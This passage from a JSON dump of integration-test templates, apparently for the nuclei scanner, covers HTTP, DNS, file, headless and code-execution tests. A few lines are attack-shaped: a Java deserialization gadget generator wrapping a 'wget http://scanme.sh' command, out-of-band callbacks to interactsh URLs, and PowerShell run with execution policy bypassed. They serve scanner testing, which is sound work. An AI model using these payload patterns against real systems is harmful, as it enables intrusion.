6yVM33l\n7tNaXWrPwYZYMTcRumIytsYtIJXp/sMLBIT0AO/QR4yarvVOeMSJ1va459PjKLBG\nJGGmf2rigaT050e71QOrGyMXgT6xsNjJgzeVhUgPO422mPT692kDi2oB5DA0Fau0\n4qm5CMFgmYcC3zQoN53aDs1mHyWeroc=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "integration_tests/generic/auth/certificate/http-get.yaml",
    "content": "id: basic-get-with-cert\n\ninfo:\n  name: Basic GET with Cert\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"Hello\""
  },
  {
    "path": "integration_tests/library/test.json",
    "content": "{\n  \"id\": \"go-integration-test\",\n  \"info\": {\n    \"name\": \"Basic Go Integration Test\",\n    \"author\": \"pdteam\",\n    \"severity\": \"info\"\n  },\n  \"requests\": [\n    {\n      \"method\": \"GET\",\n      \"path\": [\n        \"{{BaseURL}}\"\n      ],\n      \"headers\": {\n        \"test\": \"nuclei\"\n      },\n      \"matchers\": [\n        {\n          \"type\": \"word\",\n          \"words\": [\n            \"This is test headers matcher text\"\n          ]\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "integration_tests/library/test.yaml",
    "content": "id: go-integration-test\n\ninfo:\n  name: Basic Go Integration Test\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    headers:\n      test: nuclei\n    matchers:\n      - type: word\n        words:\n          - \"This is test headers matcher text\""
  },
  {
    "path": "integration_tests/loader/basic.yaml",
    "content": "id: workflow-example\n\ninfo:\n  name: Test Workflow Template\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/match-1.yaml\n  - template: workflow/match-2.yaml"
  },
  {
    "path": "integration_tests/loader/condition-matched.yaml",
    "content": "id: condition-matched-workflow\n\ninfo:\n  name: Condition Matched Workflow\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/match-1.yaml\n    subtemplates:\n      - template: workflow/match-2.yaml"
  },
  {
    "path": "integration_tests/loader/excluded-template.yaml",
    "content": "id: excluded-template\n\ninfo:\n  name: Basic Excluded Template\n  author: pdteam\n  severity: info\n  tags: fuzz\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/loader/get-headers.yaml",
    "content": "id: basic-get-headers\n\ninfo:\n  name: Basic GET Headers Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    headers:\n      test: nuclei\n    matchers:\n      - type: word\n        words:\n          - \"This is test headers matcher text\""
  },
  {
    "path": "integration_tests/loader/get.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/loader/template-list.yaml",
    "content": "loader/get.yaml\nloader/get-headers.yaml\n"
  },
  {
    "path": "integration_tests/loader/workflow-list.yaml",
    "content": "loader/basic.yaml\nloader/condition-matched.yaml\n"
  },
  {
    "path": "integration_tests/profile-loader/basic.yml",
    "content": "tags:\n  - kev"
  },
  {
    "path": "integration_tests/protocols/code/pre-condition.yaml",
    "content": "id: pre-condition-code\n\ninfo:\n  name: example code template\n  author: pdteam\n  severity: info\n\n\nself-contained: true\n\nvariables:\n  OAST: \"{{interactsh-url}}\"\n\ncode:\n  - pre-condition: IsLinux()\n    engine:\n      - sh\n      - bash\n    source: |\n      echo \"$OAST\" | base64\n    \n    matchers:\n      - type: dsl\n        dsl:\n          - true\n# digest: 490a00463044022048c083c338c0195f5012122d40c1009d2e2030c583e56558e0d6249a41e6f3f4022070656adf748f4874018d7a01fce116db10a3acd1f9b03e12a83906fb625b5c50:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/ps1-snippet.yaml",
    "content": "id: ps1-code-snippet\n\ninfo:\n  name: ps1-code-snippet\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    ps1-code-snippet\n\ncode:\n  - engine:\n      - powershell\n      - powershell.exe\n    args:\n      - -ExecutionPolicy\n      - Bypass\n      - -File\n    pattern: \"*.ps1\"\n    source: |\n      $stdin = [Console]::In\n      $line = $stdin.ReadLine()\n      Write-Host \"hello from $line\"\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from input\""
  },
  {
    "path": "integration_tests/protocols/code/pwsh-echo.yaml",
    "content": "id: pw-echo\n\ninfo:\n  name: PowerShell Echo Test\n  author: pdteam\n  severity: info\n  description: Tests PowerShell execution with an echo-like operation.\n  tags: test,powershell,echo\n\nself-contained: true\n\ncode:\n  - engine:\n      - pwsh\n      - powershell\n      - powershell.exe\n    args:\n      - -ExecutionPolicy\n      - Bypass\n    pattern: \"*.ps1\"\n    source: |\n      Write-Output \"test-output-success\"\n\n    matchers:\n      - type: word\n        words:\n          - \"test-output-success\""
  },
  {
    "path": "integration_tests/protocols/code/py-env-var.yaml",
    "content": "id: py-code-snippet\n\ninfo:\n  name: py-code-snippet\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    py-code-snippet\n\ncode:\n  - engine:\n      - py\n      - python3\n    source: |\n      import sys,os\n      print(\"hello from \" + sys.stdin.read() + \" \" + os.getenv('baz'))\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from input baz\"\n# digest: 4b0a00483046022100cbbdb7214f669d111b671d271110872dc8af2ab41cf5c312b6e4f64126f55337022100a60547952a0c2bea58388f2d2effe8ad73cd6b6fc92e73eb3c8f88beab6105ec:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/py-file.yaml",
    "content": "id: py-file\n\ninfo:\n  name: py-file\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    py-file\n\ncode:\n  - engine:\n      - py\n      - python3\n    source: protocols/code/pyfile.py\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from input\"\n# digest: 4a0a00473045022032b81e8bb7475abf27639b0ced71355497166d664698021f26498e7031d62a23022100e99ccde578bfc0b658f16427ae9a3d18922849d3ba3e022032ea0d2a8e77fadb:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/py-interactsh.yaml",
    "content": "id: testcode\n\ninfo:\n  name: testcode\n  author: testcode\n  severity: info\n  tags: code\n  description: |\n    testcode\n\nvariables:\n  i: \"{{interactsh-url}}\"\n\ncode:\n  - engine:\n      - py\n      - python3\n    # Simulate interactsh interaction\n    source: |\n      import os\n      from urllib.request import urlopen\n      urlopen(\"http://\" + os.getenv('i'))\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a0047304502201a5dd0eddfab4f02588a5a8ac1947a5fa41fed80b59d698ad5cc00456296efb6022100fe6e608e38c060964800f5f863a7cdc93f686f2d0f4b52854f73948b808b4511:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/py-nosig.yaml",
    "content": "id: py-nosig\n\ninfo:\n  name: py-nosig\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    Python code without signature\n\ncode:\n  - engine:\n      - py\n      - python3\n    source: |\n      print(\"py unsigned code\")\n    \n    matchers:\n      - type: word\n        words:\n          - \"py unsigned code\""
  },
  {
    "path": "integration_tests/protocols/code/py-snippet.yaml",
    "content": "id: py-code-snippet\n\ninfo:\n  name: py-code-snippet\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    py-code-snippet\n\ncode:\n  - engine:\n      - py\n      - python3\n      - python\n    source: |\n      import sys\n      print(\"hello from \" + sys.stdin.read())\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from input\"\n# digest: 4b0a00483046022100ced1702728cc68f906c4c7d2c4d05ed071bfabee1e36eec7ebecbeca795a170c022100d20fd41796f130a8f9c4972fee85386d67d61eb5fc1119b1afe2a851eb2f3e65:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/py-virtual.yaml",
    "content": "id: signed-python-code-in-virtual-env\n\ninfo:\n  name: signed-python-code-in-virtual-env\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    signed python code in virtual environment\n\ncode:\n  - engine:\n      - sh\n      - bash\n    sandbox:\n      working-dir: /tmp\n      image: python:3.14\n    source: |\n      #!/usr/bin/env python3\n      \n      import sys\n      print(\"hello from python virtual code\")\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from python virtual code\"\n"
  },
  {
    "path": "integration_tests/protocols/code/pyfile.py",
    "content": "import sys\nprint(\"hello from \" + sys.stdin.read())"
  },
  {
    "path": "integration_tests/protocols/code/sh-virtual.yaml",
    "content": "id: signed-code-in-virtual-env\n\ninfo:\n  name: signed-code-in-virtual-env\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    signed code in virtual environment\n\ncode:\n  - engine:\n      - sh\n      - bash\n    sandbox:\n      working-dir: /tmp\n      image: ubuntu:latest\n    source: |\n      echo \"hello from sh virtual code\"\n    \n    matchers:\n      - type: word\n        words:\n          - \"hello from sh virtual code\"\n# digest: 4a0a00473045022100a2a71c423b72e600ac2d78209482b48591924157d49e2dfb7767445b0073e92b022009a6365e84247e268c7ffcb2f9ed424529dada6f087d5f21400ab0b2a822ca56:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/protocols/code/unsigned.yaml",
    "content": "id: unsigned-code-snippet\n\ninfo:\n  name: unsigned-code-snippet\n  author: pdteam\n  severity: info\n  tags: code\n  description: |\n    unsigned-code-snippet\n\ncode:\n  - engine:\n      - py\n      - python3\n    source: |\n      print(\"unsigned code\")\n    \n    matchers:\n      - type: word\n        words:\n          - \"unsigned code\""
  },
  {
    "path": "integration_tests/protocols/dns/a.yaml",
    "content": "id: dns-a-query-example\n\ninfo:\n  name: Test DNS A Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: A\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        words:\n          - \"1.1.1.1\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/aaaa.yaml",
    "content": "id: dns-aaaa-query-example\n\ninfo:\n  name: Test DNS AAAA Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: AAAA\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        words:\n          - \"2606:4700:4700::1001\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/caa.yaml",
    "content": "id: caa-fingerprinting\n\ninfo:\n  name: CAA Fingerprint\n  author: pdteam\n  severity: info\n  tags: dns,caa\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CAA\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tCAA\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - \"IN\\tCAA\\t(.+)\""
  },
  {
    "path": "integration_tests/protocols/dns/cname-fingerprint.yaml",
    "content": "id: cname-fingerprint\n\ninfo:\n  name: CNAME Fingerprint\n  author: pdteam\n  severity: info\n  tags: dns,cname\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: NS\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tCNAME\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - \"IN\\tCNAME\\t(.+)\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/cname.yaml",
    "content": "id: dns-cname-query-example\n\ninfo:\n  name: Test DNS CNAME Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        part: all\n        words:\n          - \"CNAME\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/dsl-matcher-variable.yaml",
    "content": "id: dns-template\n\ninfo:\n  name: basic dns template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: CNAME\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"rcode == 0\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - rcode\n          - cname\n          - a\n          - aaaa"
  },
  {
    "path": "integration_tests/protocols/dns/ns.yaml",
    "content": "id: dns-ns-query-example\n\ninfo:\n  name: Test DNS NS Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: NS\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        part: all\n        words:\n          - \"NS\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/payload.yaml",
    "content": "id: dns-attack\n\ninfo:\n  name: basic dns template\n  author: pdteam\n  severity: info\n\n\ndns:\n  - name: \"{{subdomain_wordlist}}.{{FQDN}}\"\n    type: A\n\n    attack: batteringram\n    payloads:\n      subdomain_wordlist: \n      - one\n      - docs\n      - drive\n    \n    matchers:\n      - type: word\n        words:\n          - \"IN\\tA\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - \"IN\\tA\\t(.+)\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/ptr.yaml",
    "content": "id: ptr-fingerprint\n\ninfo:\n  name: PTR Fingerprint\n  author: pdteam\n  severity: info\n  tags: dns,ptr\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: PTR\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tPTR\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - \"IN\\tPTR\\t(.+)\""
  },
  {
    "path": "integration_tests/protocols/dns/srv.yaml",
    "content": "id: dns-a-query-example\n\ninfo:\n  name: Test DNS SRV Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: SRV\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        part: all\n        words:\n          - \"SRV\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/tlsa.yaml",
    "content": "id: tlsa-fingerprinting\n\ninfo:\n  name: TLSA Fingerprint\n  author: pdteam\n  severity: info\n  tags: dns,tlsa\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: TLSA\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tTLSA\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - \"IN\\tTLSA\\t(.+)\""
  },
  {
    "path": "integration_tests/protocols/dns/txt.yaml",
    "content": "id: dns-txt-query-example\n\ninfo:\n  name: Test DNS TXT Query Template\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: TXT\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        part: all\n        words:\n          - \"TXT\"\n"
  },
  {
    "path": "integration_tests/protocols/dns/variables.yaml",
    "content": "id: variables-example\n\ninfo:\n  name: Variables Example\n  author: pdteam\n  severity: info\n\nvariables:\n  a1: \"IN\"\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: A\n    class: inet\n    recursion: true\n    retries: 3\n    matchers:\n      - type: word\n        words:\n          - \"{{a1}}\""
  },
  {
    "path": "integration_tests/protocols/file/data/test1.txt",
    "content": "AAA\nBBB"
  },
  {
    "path": "integration_tests/protocols/file/data/test2.txt",
    "content": "CCC\nDDD"
  },
  {
    "path": "integration_tests/protocols/file/data/test3.txt",
    "content": "11 EE 11\n11 FF 11"
  },
  {
    "path": "integration_tests/protocols/file/extract.yaml",
    "content": "id: file-extract\n\ninfo:\n  name: File with Extractor\n  author: pdteam\n  severity: info\n  tags: file\n\nfile:\n  - extensions:\n      - all\n\n    extractors:\n      - type: regex\n        regex:\n          - \"(?m)11\\\\s(EE|FF)\\\\s11\""
  },
  {
    "path": "integration_tests/protocols/file/matcher-with-and.yaml",
    "content": "id: file-matcher-with-and\n\ninfo:\n  name: File Matcher With AND\n  author: pdteam\n  severity: info\n  tags: file\n\nfile:\n  - extensions:\n      - all\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"CCC\"\n      - type: word\n        words:\n          - \"DDD\""
  },
  {
    "path": "integration_tests/protocols/file/matcher-with-nested-and.yaml",
    "content": "id: file-matcher-with-nested-and\n\ninfo:\n  name: File Matcher With nested AND\n  author: pdteam\n  severity: info\n  tags: file\n\nfile:\n  - extensions:\n      - all\n\n    matchers:\n      - type: word\n        words:\n          - \"CCC\"\n          - \"DDD\"\n        condition: and"
  },
  {
    "path": "integration_tests/protocols/file/matcher-with-or.yaml",
    "content": "id: file-matcher-with-or\n\ninfo:\n  name: File Matcher With OR\n  author: pdteam\n  severity: info\n  tags: file\n\nfile:\n  - extensions:\n      - all\n\n    matchers:\n      - type: word\n        words:\n          - \"AA\"\n      - type: word\n        words:\n          - \"BB\""
  },
  {
    "path": "integration_tests/protocols/headless/file-upload-negative.yaml",
    "content": "id: file-upload\n# template for testing when file upload is disabled\ninfo:\n  name: Basic File Upload\n  author: pdteam\n  severity: info\n\nheadless:\n  - steps:\n    - action: navigate\n      args:\n        url: \"{{BaseURL}}\"\n    - action: waitload\n    - action: files\n      args:\n        by: xpath\n        xpath: /html/body/form/input[1]\n        value: headless/file-upload.yaml\n    - action: sleep\n      args:\n        duration: 2\n    - action: click\n      args:\n        by: x\n        xpath: /html/body/form/input[2]\n    matchers:\n      - type: word\n        words:\n          - \"Basic File Upload\""
  },
  {
    "path": "integration_tests/protocols/headless/file-upload.yaml",
    "content": "id: file-upload\n\ninfo:\n  name: Basic File Upload\n  author: pdteam\n  severity: info\n\nheadless:\n  - steps:\n    - action: navigate\n      args:\n        url: \"{{BaseURL}}\"\n    - action: waitload\n    - action: files\n      args:\n        by: xpath\n        xpath: /html/body/form/input[1]\n        value: protocols/headless/file-upload.yaml\n    - action: sleep\n      args:\n        duration: 2\n    - action: click\n      args:\n        by: x\n        xpath: /html/body/form/input[2]\n    matchers:\n      - type: word\n        words:\n          - \"Basic File Upload\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-basic.yaml",
    "content": "id: headless-basic\ninfo:\n  name: Headless Basic\n  author: pdteam\n  severity: info\n  tags: headless\n\nheadless:\n  - steps:\n      - action: navigate\n        args:\n          url: \"{{BaseURL}}/\"\n        \n      - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"<html>\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-dsl.yaml",
    "content": "id: headless-dsl\n\ninfo:\n  name: Headless DSL\n  author: dwisiswant0\n  severity: info\n  tags: headless\n\nheadless:\n  - steps:\n      - action: navigate\n        args:\n          url: \"{{BaseURL}}/?_={{urlencode(concat('foo', '-', 'bar'))}}\"\n      - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"foo-bar\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-extract-values.yaml",
    "content": "\nid: headless-extract-values\ninfo:\n  name: Headless Extract Value\n  author: pdteam\n  severity: info\n  tags: headless\n\nheadless:\n  - steps:\n      - action: navigate\n        args:\n          url: \"{{BaseURL}}\"        \n      - action: waitload\n      # From headless/extract-urls.yaml\n      - action: script\n        name: extract\n        args:\n          code: |\n            () => '\\n' + [...new Set(Array.from(document.querySelectorAll('[src], [href], [url], [action]')).map(i => i.src || i.href || i.url || i.action))].join('\\r\\n') + '\\n'\n\n    matchers:\n      - type: word\n        words:\n          - \"test.html\"\n    \n    extractors:\n      - type: kval\n        part: extract\n        kval:\n          - extract"
  },
  {
    "path": "integration_tests/protocols/headless/headless-header-action.yaml",
    "content": "id: headless-header-action\ninfo:\n  name: Headless Header Action\n  author: pdteam\n  severity: info\n  tags: headless\n\nheadless:\n  - steps:\n    - action: setheader\n      args:\n        part: request\n        key: Test\n        value: test value\n\n    - action: navigate\n      args:\n        url: \"{{BaseURL}}/\"\n        \n    - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"test value\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-header-status-test.yaml",
    "content": "id: headless-header-status-test\n\ninfo:\n  name: headless header + status test\n  author: pdteam\n  severity: info\n\nheadless:\n  - steps:\n      - args:\n          url: \"{{BaseURL}}\"\n        action: navigate\n      - action: waitload\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - text/plain\n\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/headless/headless-local.yaml",
    "content": "id: nuclei-headless-local\n\ninfo:\n  name: Nuclei Headless Local\n  author: pdteam\n  severity: high\n\nheadless:\n  - steps: \n    - action: navigate\n      args:\n        url: \"{{BaseURL}}\"\n\n    - action: waitload\n    "
  },
  {
    "path": "integration_tests/protocols/headless/headless-payloads.yaml",
    "content": "id: headless-payloads\n\ninfo:\n  name: headless payloads example\n  author: pdteam\n  severity: info\n  tags: headless\n\nheadless:\n  - attack: clusterbomb\n    payloads:\n      aa:\n        - aa\n        - bb\n      bb:\n        - cc\n        - dd\n    steps:\n      - args:\n          url: \"{{BaseURL}}?aa={{aa}}&bb={{bb}}\"\n        action: navigate\n      - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"test\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-self-contained.yaml",
    "content": "id: headless-self-contained\ninfo:\n  name: Headless Self Contained\n  author: pdteam\n  severity: info\n  tags: headless\n\nself-contained: true\n\nheadless:\n  - steps:\n      - action: navigate\n        args:\n          url: \"https://postman-echo.com/get?q={{query}}\"\n        \n      - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"selfcontained\""
  },
  {
    "path": "integration_tests/protocols/headless/headless-waitevent.yaml",
    "content": "id: headless-waitevent\n\ninfo:\n    name: WaitEvent\n    severity: info\n    author: pdteam\n\nheadless:\n  - steps:\n      # note waitevent must be used before navigating to any page\n      # unlike waitload\n      - action: waitevent\n        args:\n            event: 'Page.loadEventFired'\n            max-duration: 15s\n  \n      - action: navigate  \n        args:\n          url: \"{{BaseURL}}/\"\n\n    matchers:\n      - type: word\n        words:\n          - \"<html>\""
  },
  {
    "path": "integration_tests/protocols/headless/variables.yaml",
    "content": "id: variables-example\n\ninfo:\n  name: Variables Example\n  author: pdteam\n  severity: info\n\nvariables:\n  a1: \"{{base64('hello')}}\"\n\nheadless:\n  - steps:\n      - args:\n          url: \"{{BaseURL}}\"\n        action: navigate\n      - action: waitload\n    matchers:\n      - type: word\n        words:\n          - \"{{a1}}\""
  },
  {
    "path": "integration_tests/protocols/http/annotation-timeout.yaml",
    "content": "id: annotation-timeout\n\ninfo:\n  name: Basic Annotation Timeout\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        @timeout: 5s\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        \n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/cl-body-with-header.yaml",
    "content": "id: cl-body-with-header\n\ninfo:\n  name: CL Get Request - Body with header\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: dsl\n        dsl:\n          - \"content_length==50000 && len(body)==14\""
  },
  {
    "path": "integration_tests/protocols/http/cl-body-without-header.yaml",
    "content": "id: cl-body-without-header\n\ninfo:\n  name: CL Get Request - Body without header\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: dsl\n        dsl:\n          - \"content_length==14\""
  },
  {
    "path": "integration_tests/protocols/http/cli-with-constants.yaml",
    "content": "id: cli-with-constants\n\ninfo:\n  name: Cli Var with Constants\n  author: pdteam\n  severity: info\n\nconstants:\n  test: test-in-template\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}?p={{test}}\"\n    matchers:\n      - type: word\n        words:\n          - \"test-in-template\""
  },
  {
    "path": "integration_tests/protocols/http/constants-with-threads.yaml",
    "content": "id: constants-with-threads\n\ninfo:\n  name: Constants with Threads\n  author: pdteam\n  severity: info\n  description: |\n    Test that constants are properly resolved when using threads mode.\n\nconstants:\n  api_key: \"supersecretkey123\"\n  api_version: \"v2\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/{{api_version}}\"\n    threads: 5\n    headers:\n      X-API-Key: \"{{api_key}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"supersecretkey123\"\n          - \"v2\"\n        condition: and\n"
  },
  {
    "path": "integration_tests/protocols/http/custom-attack-type.yaml",
    "content": "id: custom-attack-type\n\ninfo:\n  name: Custom Attack Type\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?a={{test}}&b={{values}}\"\n    payloads:\n      test:\n        - hello\n        - another\n      values:\n        - data\n        - hacking\n    attack: pitchfork\n    matchers:\n      - type: word\n        words:\n          - \"This is test custom payload\"\n"
  },
  {
    "path": "integration_tests/protocols/http/default-matcher-condition.yaml",
    "content": "id: default-matcher-condition\n\ninfo:\n  name: default-matcher-condition\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /?action=curltest&url={{interactsh-url}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/disable-path-automerge.yaml",
    "content": "id: test\n\ninfo:\n  name: test\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/test?id=123 HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET HTTP/1.1\n        Host: {{Hostname}}\n    disable-path-automerge: true\n    matchers:\n      - type: status\n        status:\n          - 200\n    "
  },
  {
    "path": "integration_tests/protocols/http/disable-redirects.yaml",
    "content": "id: basic-disable-redirects\n\ninfo:\n  name: Basic GET Redirects Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    redirects: true\n    max-redirects: 2\n    matchers:\n      - type: word\n        words:\n          - \"This is test disable redirects matcher text\"\n"
  },
  {
    "path": "integration_tests/protocols/http/dsl-functions.yaml",
    "content": "id: helper-functions-examples\n\ninfo:\n  name: RAW Template with Helper Functions\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      # Note for the integration test: dsl expression should not contain commas\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        01: {{base64(\"Hello\")}}\n        02: {{base64(1234)}}\n        03: {{base64_decode(\"SGVsbG8=\")}}\n        04: {{base64_py(\"Hello\")}}\n        05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}\n        06: {{concat(\"Hello\", \"world\")}}\n        07: {{contains(\"Hello\", \"lo\")}}\n        08: {{contains_all(\"Hello everyone\", \"lo\", \"every\")}}\n        09: {{contains_any(\"Hello everyone\", \"abc\", \"llo\")}}\n        10: {{date_time(\"%Y-%M-%D\")}}\n        11: {{date_time(\"%Y-%M-%D\", unix_time())}}\n        12: {{date_time(\"%H-%m\")}}\n        13: {{date_time(\"02-01-2006 15:04\")}}\n        14: {{date_time(\"02-01-2006 15:04\", unix_time())}}\n        15: {{dec_to_hex(11111)}}\n        16: {{generate_java_gadget(\"commons-collections3.1\", \"wget http://scanme.sh\", \"base64\")}}\n        17: {{gzip(\"Hello\")}}\n        18: {{gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\"))}}\n        19: {{hex_decode(\"6161\")}}\n        20: {{hex_encode(\"aa\")}}\n        21: {{hmac(\"sha1\", \"test\", \"scrt\")}}\n        22: {{hmac(\"sha256\", \"test\", \"scrt\")}}\n        23: {{hmac(\"sha512\", \"test\", \"scrt\")}}\n        24: {{html_escape(\"<body>test</body>\")}}\n        25: {{html_unescape(\"&lt;body&gt;test&lt;/body&gt;\")}}\n        26: {{join(\"_\", \"hello\", \"world\")}}\n        27: {{len(\"Hello\")}}\n        28: {{len(5555)}}\n        29: {{md5(\"Hello\")}}\n        30: {{md5(1234)}}\n        31: {{mmh3(\"Hello\")}}\n        32: {{print_debug(1+2, \"Hello\")}}\n        33: {{rand_base(5, \"abc\")}}\n        34: {{rand_base(5, \"\")}}\n        35: {{rand_base(5)}}\n        36: {{rand_char(\"abc\")}}\n        37: {{rand_char(\"\")}}\n        38: {{rand_char()}}\n        39: {{rand_int(1, 10)}}\n        40: {{rand_int(10)}}\n        41: {{rand_int()}}\n        42: {{rand_ip(\"192.168.0.0/24\")}}\n        43: {{rand_ip(\"2002:c0a8::/24\")}}\n        44: {{rand_ip(\"192.168.0.0/24\",\"10.0.100.0/24\")}}\n        45: {{rand_text_alpha(10, \"abc\")}}\n        46: {{rand_text_alpha(10, \"\")}}\n        47: {{rand_text_alpha(10)}}\n        48: {{rand_text_alphanumeric(10, \"ab12\")}}\n        49: {{rand_text_alphanumeric(10)}}\n        50: {{rand_text_numeric(10, 123)}}\n        51: {{rand_text_numeric(10)}}\n        52: {{regex(\"H([a-z]+)o\", \"Hello\")}}\n        53: {{remove_bad_chars(\"abcd\", \"bc\")}}\n        54: {{repeat(\"a\", 5)}}\n        55: {{replace(\"Hello\", \"He\", \"Ha\")}}\n        56: {{replace_regex(\"He123llo\", \"(\\\\d+)\", \"\")}}\n        57: {{reverse(\"abc\")}}\n        58: {{sha1(\"Hello\")}}\n        59: {{sha256(\"Hello\")}}\n        60: {{sha512(\"Hello\")}}\n        61: {{to_lower(\"HELLO\")}}\n        62: {{to_upper(\"hello\")}}\n        63: {{trim(\"aaaHelloddd\", \"ad\")}}\n        64: {{trim_left(\"aaaHelloddd\", \"ad\")}}\n        65: 